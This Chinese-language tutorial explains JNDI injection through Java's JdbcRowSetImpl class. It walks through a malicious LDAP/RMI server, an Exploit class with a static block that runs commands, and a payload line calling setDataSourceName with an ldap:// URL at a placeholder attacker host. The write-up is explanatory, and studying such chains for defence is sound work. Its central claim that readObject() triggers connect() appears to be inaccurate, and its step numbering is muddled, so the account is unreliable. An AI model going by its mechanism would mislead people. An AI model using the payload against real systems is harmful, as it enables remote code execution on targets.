JdbcRowSetImpl 如何触发的 JNDI 注入

1. 核心原理:setDataSourceName() 与 JNDI

com.sun.rowset.JdbcRowSetImpl 是一个 JDK 自带的类,它实现了 RowSet 接口。JdbcRowSetImpl 的一个核心功能就是通过 DataSource 来连接数据库

  • DataSource:DataSource 是一个标准的 Java 接口,用于获取数据库连接。它通常通过 JNDI来查找和绑定

  • setDataSourceName():当调用 JdbcRowSetImpl 的 setDataSourceName() 方法时,它会设置一个 JNDI 查找名称

  • connect():当 JdbcRowSetImpl 尝试建立连接时,会调用 connect() 方法,这个方法会使用 InitialContext 类,对 setDataSourceName() 设置的名称进行 JNDI 查找

问题的关键在于:当 InitialContext 查找的 URL 指向一个远程的 RMI/LDAP 服务器时,它会自动下载并加载服务器上绑定的 Java 对象

2. 漏洞触发的完整过程

攻击者就是利用这一点,将恶意服务器的地址作为 DataSourceName,让目标服务器在反序列化时,主动去下载和执行恶意代码

  1. 攻击者搭建恶意服务:

  2. 攻击者首先需要搭建一个恶意的 LDAP 或 RMI 服务器
  3. 在这个服务器上,攻击者会绑定一个恶意的 Java 对象。这个对象通常是一个Exploit.java文件,它包含了一个 static 静态代码块,可以在被加载时自动执行,例如执行 Runtime.exec() 命令
  4. 构造恶意 Payload:

  5. 攻击者构造一个恶意的序列化 JdbcRowSetImpl 对象
  6. 在这个对象中,攻击者会利用反射等方法,将 DataSourceName 属性设置为恶意服务的地址
  7. 例如:new JdbcRowSetImpl().setDataSourceName("ldap://<攻击机IP>:<端口>/Exploit")
  8. 注意:这里的 ldap:// 是 JNDI 查找的协议,<攻击机IP> 是攻击者服务器的地址,Exploit 是攻击者在服务器上绑定的恶意对象名

  9. 发送 Payload:

  10. 攻击者将这个序列化后的 JdbcRowSetImpl 对象发送给存在反序列化漏洞的目标应用程序
  11. 这个过程可以是通过 HTTP 请求、文件上传或其他方式
  12. 目标服务器反序列化:

  13. 目标应用程序接收到数据后,对 JdbcRowSetImpl 对象进行反序列化
  14. 在反序列化过程中,JdbcRowSetImpl 的 readObject() 方法被调用
  15. readObject() 方法会触发 connect() 方法的调用

  16. 触发 JNDI 注入:

  17. connect() 方法会使用 InitialContext 对恶意地址 ldap://<攻击机IP>:<端口>/Exploit 进行 JNDI 查找

  18. 由于 java.naming.factory.initial 等配置,或者因为 JDK 版本过低,JVM 会无条件信任远程查找的结果
  19. JVM 会连接到攻击者的 LDAP 服务器,下载并加载 Exploit 这个恶意对象
  20. 当 Exploit 对象被加载到内存时,其静态代码块会自动执行,从而执行攻击者预设的系统命令